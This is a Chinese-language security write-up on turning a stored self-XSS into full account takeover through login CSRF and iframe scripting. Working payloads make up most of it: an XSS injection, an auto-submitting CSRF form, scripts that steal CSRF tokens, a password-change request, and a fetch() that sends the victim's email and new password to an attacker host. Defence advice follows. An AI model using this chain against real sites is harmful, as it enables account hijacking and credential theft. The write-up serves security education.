从存储型self-XSS到最终实现账号完全接管
字数 1348 2025-08-15 21:31:48
从存储型Self-XSS到账号完全接管:漏洞利用全解析
漏洞概述
本文详细分析了一个从存储型Self-XSS漏洞开始,通过一系列精心设计的攻击步骤,最终实现目标网站账号完全接管的完整过程。攻击者利用目标网站的多个功能缺陷和配置错误,构建了一条完整的攻击链。
漏洞发现阶段
初始漏洞:存储型Self-XSS
- 发现位置:在个人简介设置功能中
- 触发条件:
- 用户上传图片时,图片被上传到非当前服务器
- 后续请求将服务器图片地址保存到当前服务器
- 漏洞利用:
- 修改图片URL参数,插入XSS payload:
&imageurl=https://example.com"><script>alert(1)</script> - 每次访问个人简介页面时触发XSS
- 修改图片URL参数,插入XSS payload:
漏洞局限性
这是一个Self-XSS漏洞,只能影响攻击者自己的账户,无法直接影响其他用户。
漏洞升级:从Self-XSS到Good-XSS
利用Google登录的CSRF
-
攻击思路:
- 利用目标网站支持Google登录的特性
- 构造恶意页面诱导受害者登录攻击者的账户
- 触发存储的XSS payload
-
攻击代码:
<html>
<body>
<form action="https://example.com/en/login?accessToken=TOKEN" method="POST">
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
setTimeout(function(){window.location="https://example.com/USERNAME/edit";}, 5000)
</script>
</body>
</html>
- 关键点:
TOKEN可从本地登录后抓取,有效期一天- 受害者访问后会登录攻击者账户
- 5秒后重定向到个人简介页面触发XSS
账号接管阶段
第一阶段:登出攻击者账户
-
挑战:
- 登出操作需要CSRF令牌
- 令牌位于页面源码中
-
利用代码:
// 从源码中获取登出URL和CSRF令牌
var y = JSON.parse(document.getElementById('conf').innerHTML);
var url = y.user.link.logOut;
// 创建iframe执行登出操作
var profileIframe = document.createElement('iframe');
profileIframe.setAttribute('src', 'https://example.com'+url);
profileIframe.setAttribute('id', 'pi');
document.body.appendChild(profileIframe);
第二阶段:登录受害者账户
-
挑战:
- 需要通过JavaScript模拟点击Google登录按钮
- 需要等待iframe完全加载
-
利用代码:
document.getElementById('pi').onload = function() {
// 创建第二个iframe用于登录
var profileIframe1 = document.createElement('iframe');
profileIframe1.setAttribute('src', 'https://example.com/login');
profileIframe1.setAttribute('id', 'lo1');
document.body.appendChild(profileIframe1);
// 等待30秒确保iframe加载完成
document.getElementById('lo1').onload = function() {
setTimeout(function(){ load() }, 30000)
function load() {
let iframe = document.getElementById('lo1');
let inner = iframe.contentDocument || iframe.contentWindow.document;
// 模拟点击Google登录按钮
inner.getElementsByClassName("g_login")[1].click();
}
}
}
第三阶段:完全接管账户
获取修改密码的CSRF令牌
-
步骤:
- 从页面源码获取用户设置页面URL
- 创建iframe访问设置页面
- 从设置页面窃取修改密码的CSRF令牌
-
利用代码:
setTimeout(function(){ takeover() }, 40000)
function takeover(){
// 获取用户设置页面URL
let iframe_second = document.getElementById('lo1');
let inner1 = iframe_second.contentDocument || iframe_second.contentWindow.document;
var z = JSON.parse(inner1.getElementById('conf').innerHTML);
var param = z.user.link.parameter;
// 创建第三个iframe访问设置页面
var profileIframe2 = document.createElement('iframe');
profileIframe1.setAttribute('src', 'https://example.com'+param);
profileIframe1.setAttribute('id', 'lo2');
document.body.appendChild(profileIframe2);
// 等待50秒确保iframe加载完成
document.getElementById('lo2').onload = function() {
setTimeout(function(){ csrf() }, 50000)
function csrf() {
let iframe_csrf = document.getElementById('lo2');
let inner_csrf = iframe_csrf.contentDocument || iframe_csrf.contentWindow.document;
var csrf = inner_csrf.getElementById("password__token").value;
}
}
}
修改受害者密码
// 构造修改密码的请求
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://example.com"+param+"/password", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.withCredentials = true;
var body = "setNewPassword_first=passwordQ!&setNewPassword_second=passwordQ!&setNewPassword%5Bcreate%5D=&setNewPassword%5B_token%5D="+csrf;
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
窃取用户邮箱
// 从localStorage获取用户邮箱并发送到攻击者服务器
fetch("https://myserver.com/email_password?=Email:"+localStorage.getItem('user_email')+" password:passwordQ!")
技术要点总结
-
iframe的利用:
- 通过创建多个iframe实现跨上下文操作
- 需要设置足够的延迟确保iframe加载完成
-
CSRF令牌窃取:
- 从页面源码中提取敏感令牌
- 利用这些令牌构造合法请求
-
DOM操作:
- 通过JavaScript模拟用户点击操作
- 访问和操作iframe中的DOM元素
-
本地存储利用:
- 从localStorage中提取敏感信息
防御建议
-
针对Self-XSS:
- 对所有用户输入进行严格的过滤和转义
- 实施内容安全策略(CSP)
-
针对CSRF:
- 对所有敏感操作实施CSRF防护
- 使用一次性令牌
-
针对账号接管:
- 修改密码时需要验证旧密码
- 对重要操作实施多因素认证
-
其他防护:
- 设置HttpOnly和Secure标志的Cookie
- 限制敏感信息存储在localStorage中
- 实施点击劫持防护(X-Frame-Options)
学习要点
-
漏洞利用思维:
- 从单一漏洞出发,寻找关联漏洞构建攻击链
- 不断尝试提升漏洞的影响范围
-
JavaScript能力:
- 掌握DOM操作和iframe控制技术
- 能够模拟用户交互行为
-
耐心与细致:
- 漏洞利用可能需要多次尝试和长时间等待
- 需要仔细分析网站结构和功能逻辑
通过这个案例,安全研究人员可以学习如何将看似低风险的漏洞转化为高风险的攻击链,同时也提醒开发人员需要全面考虑系统的安全性。